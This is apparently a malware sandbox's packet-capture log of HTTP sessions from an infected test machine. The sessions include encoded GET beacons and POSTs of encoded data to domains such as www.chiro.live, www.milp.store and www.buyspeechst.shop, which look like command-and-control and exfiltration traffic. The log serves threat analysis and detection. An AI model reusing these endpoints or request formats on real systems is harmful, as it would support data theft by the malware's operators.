Jan 9, 2025 16:50:47.104903936 CET	534	OUT	GET /w98i/?lV=UfwHaNGeM7ohZqxMT1oJCRJMGlT3jOeFYxLhiKeMkeFhJQngpiBu1nR/iO/Vw2KMOuQK2IyXNyNkQANnRhWnyAeSvZ4PYAj0T7gn5XvtXdm/7Udw9aOHtOE=&LSbaT=zft4LoBw HTTP/1.1 Host: www.buyspeechst.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:50:47.744864941 CET	814	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:50:47 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6AVP%2F7HpE%2FW7Waeocc%2BFhfvYe%2BtIc8MzgSKH2Pf%2BWoBEWMtfqofeYBHRfDLljOxa%2B%2Bb5%2B5vLyB0sQqYkAF7jEEdSdYdTsvYORwEY0REsPeDDM1YKk7IZULT4PZ6AosEzQ3DCb3B8Zw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff595c0df92f865-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=118684&min_rtt=118684&rtt_var=59342&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=534&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
Jan 9, 2025 16:50:47.744882107 CET	273	IN	Data Raw: 31 30 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f Data Ascii: 10a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at www.buyspeechst.shop Port
Jan 9, 2025 16:50:47.745018005 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.11.20	49794	194.9.94.85	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:51:04.243014097 CET	528	OUT	GET /js1x/?LSbaT=zft4LoBw&lV=YzadGC6YqOgjY/9qwmEESxfA+8MKCZxp0CcLO+Xh8dJmB8CdhvgUA7hRZF2xLQJtMCWb5Kgxi+xGIwqq0R102ShiT2rp0EsU7QKswMKkfsup8/2EYKLr6Ec= HTTP/1.1 Host: www.milp.store Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:51:04.492722034 CET	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 09 Jan 2025 15:51:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.30 Data Raw: 31 35 66 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a [TRUNCATED] Data Ascii: 15f9<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-NP3MFSK');</script>... End Google Tag Manager --> <meta http-equiv="X-UA-Compatible" content="IE=EDGE" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="loopia-test" content="XsdXAIxha8q9Xjamck4H" /><title>Parked at Loopia</title> <link rel="apple-touch-icon" media="screen and (resolution: 163dpi)" href="https://static.loopia.se/responsive/images/iOS-57.png" /> <link rel="apple-touch-icon" media="screen and (resolution [TRUNCATED]
Jan 9, 2025 16:51:04.492779016 CET	1289	IN	Data Raw: 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 20 61 6e 64 20 28 72 65 73 6f 6c 75 74 69 6f 6e 3a 20 33 32 36 64 70 69 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 6c 6f 6f 70 69 61 Data Ascii: le-touch-icon" media="screen and (resolution: 326dpi)" href="https://static.loopia.se/responsive/images/iOS-114.png" /> <meta name="viewport" content="initial-scale=1.0, maximum-scale = 1.0, width=device-width" /> <link rel="stylesheet
Jan 9, 2025 16:51:04.492858887 CET	1289	IN	Data Raw: 20 74 6f 20 76 69 65 77 20 74 68 65 20 64 6f 6d 61 69 6e 20 68 6f 6c 64 65 72 27 73 20 70 75 62 6c 69 63 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 70 3e 0a 09 09 09 3c 70 3e 41 72 65 20 79 6f 75 20 74 68 65 20 6f 77 6e 65 72 20 6f 66 20 74 68 Data Ascii: to view the domain holder's public information.</p><p>Are you the owner of the domain and want to get started? Login to <a href="https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_con
Jan 9, 2025 16:51:04.492899895 CET	1289	IN	Data Raw: 6c 20 63 6f 6e 74 72 6f 6c 20 6f 66 20 79 6f 75 72 20 64 6f 6d 61 69 6e 73 20 77 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 3c 2f 68 33 3e 0a 09 09 09 3c 70 3e 57 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 2c 20 79 6f 75 20 77 69 6c 6c 20 62 65 20 61 62 Data Ascii: l control of your domains with LoopiaDNS</h3><p>With LoopiaDNS, you will be able to manage your domains in one single place in Loopia Customer zone. <a href="https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingwe
Jan 9, 2025 16:51:04.493123055 CET	661	IN	Data Raw: 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 68 6f 73 74 69 6e 67 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 4f 75 72 Data Ascii: arkingweb&utm_campaign=parkingweb&utm_content=hosting" class="btn btn-primary">Our web hosting packages</a></div>... /END .main --><div id="footer" class="center"><span id="footer_se" class='lang_se'><a href="https://www.loop
Jan 9, 2025 16:51:04.493166924 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.11.20	49795	198.58.118.167	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:51:09.654333115 CET	789	OUT	POST /jwa9/ HTTP/1.1 Host: www.chiro.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.chiro.live Referer: http://www.chiro.live/jwa9/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 71 5a 73 37 35 31 75 39 68 4a 6a 45 62 31 62 57 4b 43 2f 49 59 6a 66 30 74 63 71 2f 61 71 46 51 5a 65 72 4a 55 45 2b 4d 72 70 30 61 7a 51 6d 75 45 61 6f 4c 2b 76 66 52 72 7a 69 56 36 5a 79 71 4b 70 58 61 2f 35 59 43 4f 6a 57 69 45 49 41 58 48 65 74 2b 58 4b 39 6d 49 63 6d 79 42 62 54 50 4f 52 34 78 58 52 2f 4f 66 30 38 4e 39 65 72 65 45 43 46 4a 79 61 6f 4d 51 48 78 52 6d 42 31 34 35 49 4d 6f 6e 4e 74 73 2b 6a 56 54 79 69 4f 61 43 63 45 4b 68 49 36 77 7a 64 34 78 57 49 34 33 32 56 4b 6e 4d 4d 30 6c 58 56 53 4a 6f 4a 51 5a 33 37 4c 6f 44 49 59 30 2f 43 6e 6b 43 57 72 52 43 67 3d 3d Data Ascii: lV=qZs751u9hJjEb1bWKC/IYjf0tcq/aqFQZerJUE+Mrp0azQmuEaoL+vfRrziV6ZyqKpXa/5YCOjWiEIAXHet+XK9mIcmyBbTPOR4xXR/Of08N9ereECFJyaoMQHxRmB145IMonNts+jVTyiOaCcEKhI6wzd4xWI432VKnMM0lXVSJoJQZ37LoDIY0/CnkCWrRCg==
Jan 9, 2025 16:51:09.800008059 CET	806	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Thu, 09 Jan 2025 15:51:09 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 32 36 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 53 4d 73 9b 30 10 bd e7 57 50 0e 99 76 a6 06 83 1d db 34 90 4e 42 fd 59 c7 4e 1c 27 18 5f 32 42 52 2c 11 21 51 10 60 a7 d3 ff 5e 6c 3a 31 1d f7 50 1d 90 76 d9 7d bb ef ad 64 7f f8 36 77 97 fe 5d 5f 21 32 62 57 67 f6 7e 53 18 e0 1b 47 c5 5c bd 3a 53 ca 65 13 0c 50 75 3c 98 11 96 40 81 04 24 29 96 8e fa b8 1c 34 7a 7f 22 8f bf 89 94 71 03 ff c8 68 ee a8 db 46 06 1a 50 44 31 90 34 60 58 55 a0 e0 12 f3 32 77 dc 77 30 da e0 93 6c 0e 22 ec a8 39 c5 45 2c 12 59 4b 28 28 92 c4 41 38 a7 10 37 0e c6 67 85 72 2a 29 60 8d 14 02 86 1d 43 6b d6 e1 24 95 0c 5f d9 7a b5 1f e8 1c 9a e4 22 85 09 8d e5 91 d6 bf 7b 4f f0 4b 82 53 52 6b a1 79 99 25 cc d9 f3 fb a2 eb 45 51 74 9b 1a 24 34 11 1a a3 39 d6 55 45 3f 42 da fa 69 19 fb a0 5e 5d 9e d3 12 17 ff 57 c2 d6 8f 83 b1 03 81 76 8a e0 4c 00 e4 a8 48 3c 57 c7 8f 9f ea 62 54 94 15 b9 8b 4b 75 25 de 4a 3d 04 39 a8 bc b5 b8 bd 12 2f 19 87 92 0a ae d4 a0 94 9f ef fa ed 43 f6 ab a0 1c 89 42 93 22 d6 98 80 e5 7c 05 d7 48 49 48 71 [TRUNCATED] Data Ascii: 266SMs0WPv4NBYN'_2BR,!Q`^l:1Pv}d6w]_!2bWg~SG\:SePu<@$)4z"qhFPD14`XU2ww0l"9E,YK((A87gr*)`Ck$_z"{OKSRky%EQt$49UE?Bi^]WvLH<WbTKu%J=9/CB"\|HIHq(Q]MaZ~":VfNjIpM+k:5\|Sqg6j &rBi4`56Fc8"^9fs0Z8I7#hZ/W,W809nt!65& k1G6_?X/PnPzEB0d%N}rf^5_oJH.\0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.11.20	49796	198.58.118.167	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:51:12.329804897 CET	809	OUT	POST /jwa9/ HTTP/1.1 Host: www.chiro.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.chiro.live Referer: http://www.chiro.live/jwa9/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 71 5a 73 37 35 31 75 39 68 4a 6a 45 5a 58 50 57 4d 6c 6a 49 51 6a 66 33 6f 63 71 2f 44 36 46 63 5a 65 58 4a 55 41 4f 6d 73 66 6b 61 79 78 57 75 46 65 38 4c 35 76 66 52 6a 54 69 51 6e 4a 79 74 4b 70 4c 38 2f 34 30 43 4f 6e 32 69 45 4e 73 58 62 39 56 39 46 71 39 67 42 38 6d 30 46 62 54 50 4f 52 34 78 58 52 72 6f 66 30 6b 4e 38 75 62 65 47 6a 46 4b 2b 36 6f 54 48 33 78 52 77 78 31 38 35 49 4d 4b 6e 50 4a 4b 2b 67 74 54 79 6a 2b 61 43 4e 45 4a 36 59 36 79 75 4e 35 65 64 59 68 68 34 46 6d 77 4c 65 55 65 50 32 72 39 6b 2f 64 44 71 4a 2f 4d 41 62 45 47 37 79 65 4d 41 55 71 4b 66 72 59 73 44 71 70 43 36 4f 7a 4f 78 54 6f 31 7a 42 7a 78 53 6b 49 3d Data Ascii: lV=qZs751u9hJjEZXPWMljIQjf3ocq/D6FcZeXJUAOmsfkayxWuFe8L5vfRjTiQnJytKpL8/40COn2iENsXb9V9Fq9gB8m0FbTPOR4xXRrof0kN8ubeGjFK+6oTH3xRwx185IMKnPJK+gtTyj+aCNEJ6Y6yuN5edYhh4FmwLeUeP2r9k/dDqJ/MAbEG7yeMAUqKfrYsDqpC6OzOxTo1zBzxSkI=
Jan 9, 2025 16:51:12.475404024 CET	805	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Thu, 09 Jan 2025 15:51:12 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 32 36 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 53 4d 73 9b 30 10 bd e7 57 50 0e 99 76 a6 36 06 db b1 dd 40 3a 09 f5 67 1d 3b 71 9c 00 be 64 84 a4 58 22 42 a2 20 c0 4e a7 ff bd 60 3a 31 1d f7 50 1d 90 76 d9 7d bb ef ad 64 7e f8 b6 b4 d7 de dd 50 21 32 64 57 67 66 b9 29 0c f0 ad a5 62 ae 5e 9d 29 c5 32 09 06 a8 3a 1e cc 10 4b a0 40 02 e2 04 4b 4b 7d 5c 8f 1a fd 3f 91 c7 df 44 ca a8 81 7f a4 34 b3 d4 5d 23 05 0d 28 c2 08 48 ea 33 ac 2a 50 70 89 79 91 3b 1d 5a 18 6d f1 49 36 07 21 b6 d4 8c e2 3c 12 b1 ac 25 e4 14 49 62 21 9c 51 88 1b 07 e3 b3 42 39 95 14 b0 46 02 01 c3 96 de 6c d5 e1 24 95 0c 5f 99 5a b5 1f e8 1c 9a e4 22 81 31 8d e4 91 d6 bf 7b 8f f1 4b 8c 13 52 6b a1 75 99 c6 cc 2a f9 7d d1 b4 3c cf 7b ad 26 24 34 16 4d 46 33 ac a9 8a 76 84 34 b5 d3 32 e6 41 bd ba 3c a7 25 ba ff 57 c2 d4 8e 83 31 7d 81 f6 8a e0 4c 00 64 a9 48 3c 57 c7 8f 9f ea 62 54 94 15 b9 8f 0a 75 25 de 49 2d 00 19 a8 bc b5 b8 52 89 97 94 43 49 05 57 6a 50 ca cf 77 fd ca 90 72 e5 94 23 91 37 a5 88 9a 4c c0 62 be 82 37 49 41 48 b1 [TRUNCATED] Data Ascii: 265SMs0WPv6@:g;qdX"B N`:1Pv}d~P!2dWgf)b^)2:K@KK}\?D4]#(H3Ppy;ZmI6!<%Ib!QB9Fl$_Z"1{KRku}<{&$4MF3v42A<%W1}LdH<WbTu%I-RCIWjPwr#7Lb7IAH(Q] )Ek_t~hZmC^wp.$33tIk3==0\|7AZfMV3Fyep1CqiMLVwNn,N1<wF'c=Y[W`dc<fxE3.":]\|J7$QZP*g2U7/];;0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.11.20	49797	198.58.118.167	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:51:15.001622915 CET	2578	OUT	POST /jwa9/ HTTP/1.1 Host: www.chiro.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.chiro.live Referer: http://www.chiro.live/jwa9/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 71 5a 73 37 35 31 75 39 68 4a 6a 45 5a 58 50 57 4d 6c 6a 49 51 6a 66 33 6f 63 71 2f 44 36 46 63 5a 65 58 4a 55 41 4f 6d 73 66 73 61 79 44 4f 75 45 35 41 4c 34 76 66 52 70 7a 69 52 6e 4a 7a 6f 4b 70 44 77 2f 34 70 31 4f 6c 4f 69 46 76 6b 58 58 63 56 39 4f 71 39 67 4d 63 6d 78 42 62 54 67 4f 52 6f 4c 58 52 37 6f 66 30 6b 4e 38 74 54 65 42 79 46 4b 38 36 6f 4d 51 48 78 56 6d 42 30 6a 35 49 56 6f 6e 50 64 38 39 52 4e 54 78 44 75 61 4f 66 73 4a 6e 49 36 30 74 4e 35 47 64 59 63 2f 34 46 36 57 4c 64 49 34 50 31 37 39 6b 34 77 4d 35 37 58 6b 52 74 45 64 36 7a 75 32 49 32 75 67 58 4d 4d 4c 4d 5a 70 71 36 4f 79 63 2b 54 77 4f 6b 77 2f 30 47 6a 63 46 42 43 44 37 51 64 43 61 4e 65 54 61 39 41 5a 42 46 71 71 33 35 71 59 4d 4d 31 53 4d 54 6c 52 57 68 58 7a 4c 41 5a 6c 46 4b 49 48 49 4c 4c 49 73 61 31 70 66 59 4a 2b 56 76 4b 77 55 53 33 62 56 58 31 61 53 6c 71 43 7a 78 48 75 73 6b 58 51 52 67 49 63 78 55 57 4a 47 66 72 4e 76 43 71 50 78 62 53 64 56 48 36 45 4d 7a 74 4a 4d 54 58 69 6f 63 55 32 30 46 47 6d [TRUNCATED] Data Ascii: lV=qZs751u9hJjEZXPWMljIQjf3ocq/D6FcZeXJUAOmsfsayDOuE5AL4vfRpziRnJzoKpDw/4p1OlOiFvkXXcV9Oq9gMcmxBbTgORoLXR7of0kN8tTeByFK86oMQHxVmB0j5IVonPd89RNTxDuaOfsJnI60tN5GdYc/4F6WLdI4P179k4wM57XkRtEd6zu2I2ugXMMLMZpq6Oyc+TwOkw/0GjcFBCD7QdCaNeTa9AZBFqq35qYMM1SMTlRWhXzLAZlFKIHILLIsa1pfYJ+VvKwUS3bVX1aSlqCzxHuskXQRgIcxUWJGfrNvCqPxbSdVH6EMztJMTXiocU20FGmUz3CWIAU+zmxLXYWK2/ftE0etZ3pNfyL/+cpWwy/VcQDV7Gq5GxCACrfZE7opOuKVfxHEzlzXSUkt19ht+DE0yksgKNQ2jthDH/A32PPzB5myuFgwMd6jCDUtCcTfi0vPJ1rRJg0A86S1KO6SJ209X85C2XpL8Ms57F6bCOdSUNNlYEa5Ngk6yq5gHRl9b/rHfxMDt+N6jXi2EhDR1EQ22P0l63H0Unr/CVTCWStQZGwiaVmxLZyCys/PCKDchCvrRfN8xMPcul2AKPxLotGE53zhoeOpTcdUXLTGiDnjrJRlxtI1cSHWSRCYnRY12ix73om2423CDf+1l0ECju4o3MUw4Zvnqp1zP7dABrBcS7mUTBcGI1fbWs2kItZs0LHxeix/nHdwozmGa/ZPJ9o/qTDYENdqIEvUfbd8O92t9OBtpcBT2RjjhvjReT175Sdrr5tNucg+saYM9wd63Q16rJXd3LK4MOBYsBxQEibHEfeLqzVgOiidz2IscMTJ44PFv+UcUK5O3hUNMr1OEg6V7G/L3zUZFKa3yBeM3Qqh6qjTOiTRNNPP8PbNsf49WSm7lKcRXBVdfsDZVV+OATcjz+LmbZVyqn9JkhY8WJDa/0nqDkzZx91ISfUftWJj817AFZjf0akeehHVq7uEIWUlfR7tb/NxvCSJU [TRUNCATED]
Jan 9, 2025 16:51:15.001667976 CET	5380	OUT	Data Raw: 66 67 43 74 73 70 4a 53 45 49 70 52 70 72 2f 48 69 52 6b 78 6d 79 35 75 6a 46 79 53 6a 2f 5a 4b 52 56 74 56 6d 2f 63 75 63 37 48 54 61 31 36 4c 47 66 72 37 31 76 75 4f 4e 53 74 61 53 37 4f 6a 63 38 34 51 4b 59 46 4e 67 61 55 76 33 62 38 64 42 32 Data Ascii: fgCtspJSEIpRpr/HiRkxmy5ujFySj/ZKRVtVm/cuc7HTa16LGfr71vuONStaS7Ojc84QKYFNgaUv3b8dB2EhEL+CTRNFTCfcYxjECc94VTPbTUj7ac17b0ROdOMxZ5cSbT2ovBOxwGQk+jNW2uyMV+g/0oVhrR0kG5jzAglKXq1fJt3a7UoAYGKG2GkrnhshBjigkRag29BQOf+p9VJuLYtqcL0/hPkmw8RDo87C9nlBTbP/+PH
Jan 9, 2025 16:51:15.147986889 CET	806	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Thu, 09 Jan 2025 15:51:15 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 32 36 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 53 4d 73 9b 30 10 bd e7 57 50 0e 99 76 a6 36 1f b6 83 dd 40 3a 09 f5 67 1d 3b 71 9c 60 7c c9 08 49 b1 44 84 44 41 80 9d 4e ff 7b b1 e9 c4 74 dc 43 75 40 da 65 f7 ed be b7 92 fd e1 db dc 5d fa 77 7d 85 c8 88 5d 9d d9 fb 4d 61 80 6f 1c 15 73 f5 ea 4c 29 97 4d 30 40 d5 f1 60 46 58 02 05 12 90 a4 58 3a ea e3 72 d0 e8 fe 89 3c fe 26 52 c6 0d fc 23 a3 b9 a3 6e 1b 19 68 40 11 c5 40 d2 80 61 55 81 82 4b cc cb dc 71 df c1 68 83 4f b2 39 88 b0 a3 e6 14 17 b1 48 64 2d a1 a0 48 12 07 e1 9c 42 dc 38 18 9f 15 ca a9 a4 80 35 52 08 18 76 8c a6 5e 87 93 54 32 7c 65 6b d5 7e a0 73 68 92 8b 14 26 34 96 47 5a ff ee 3d c1 2f 09 4e 49 ad 05 fd 32 4b 98 b3 e7 f7 45 d3 8a a2 b0 f4 26 24 34 11 4d 46 73 ac a9 8a 76 84 b4 b5 d3 32 f6 41 bd ba 3c a7 25 3a ff 57 c2 d6 8e 83 b1 03 81 76 8a e0 4c 00 e4 a8 48 3c 57 c7 8f 9f ea 62 54 94 15 b9 8b 4b 75 25 de 4a 2d 04 39 a8 bc b5 b8 bd 12 2f 19 87 92 0a ae d4 a0 94 9f ef fa ed 43 f6 ab a0 1c 89 a2 29 45 dc 64 02 96 f3 15 bc 49 4a 42 8a [TRUNCATED] Data Ascii: 266SMs0WPv6@:g;q`\|IDDAN{tCu@e]w}]MaosL)M0@`FXX:r<&R#nh@@aUKqhO9Hd-HB85Rv^T2\|ek~sh&4GZ=/NI2KE&$4MFsv2A<%:WvLH<WbTKu%J-9/C)EdIJBG}q'(runY][iYB<d:x71`JN/_jn\|1vFOz5a}FbN9j4h1CfzuC2pnR<v+RuSCEtnvg:dx~a#Bwz;\|{(wl~Zx([{r"!BAonS/wW7\|S!y0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.11.20	49798	198.58.118.167	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:51:17.670087099 CET	528	OUT	GET /jwa9/?lV=nbEb6BapjrCYd3vpIU65dRTaoPK2c484Z9DLelTcrJ4p8hOiBplI39ztzhaal76qFYKe8ooJF22mI/JvRPR9KZtEPsGPSZvpHz4gKRb9RHtiv87SZwxMyIk=&LSbaT=zft4LoBw HTTP/1.1 Host: www.chiro.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:51:17.815334082 CET	1289	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Thu, 09 Jan 2025 15:51:17 GMT content-type: text/html transfer-encoding: chunked connection: close Data Raw: 34 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 37 30 2e 63 68 69 72 6f 2e 6c [TRUNCATED] Data Ascii: 495<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title></title> <noscript> <meta http-equiv="refresh" content="0;url=http://www70.chiro.live/" /> </noscript> <meta http-equiv="refresh" content="5;url=http://www70.chiro.live/" /> </head> <body onload="do_onload()"> <script type="text/javascript"> function do_onload() { window.top.location.href = "http://www.chiro.live/jwa9?gp=1&js=1&uuid=1736437877.0005169428&other_args=eyJ1cmkiOiAiL2p3YTkiLCAiYXJncyI6ICJsVj1uYkViNkJhcGpyQ1lkM3ZwSVU2NWRSVGFvUEsyYzQ4NFo5RExlbFRjcko0cDhoT2lCcGxJMzl6dHpoYWFsNzZxRllLZThvb0pGMjJtSS9KdlJQUjlLWnRFUHNHUFNadnBIejRnS1JiOVJIdGl2ODdTWnd4TXlJaz0mTFNiYVQ9emZ0NExvQnciLCAicmVmZXJlciI6ICIiLCAiYWNjZXB0IjogInRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45 [TRUNCATED]
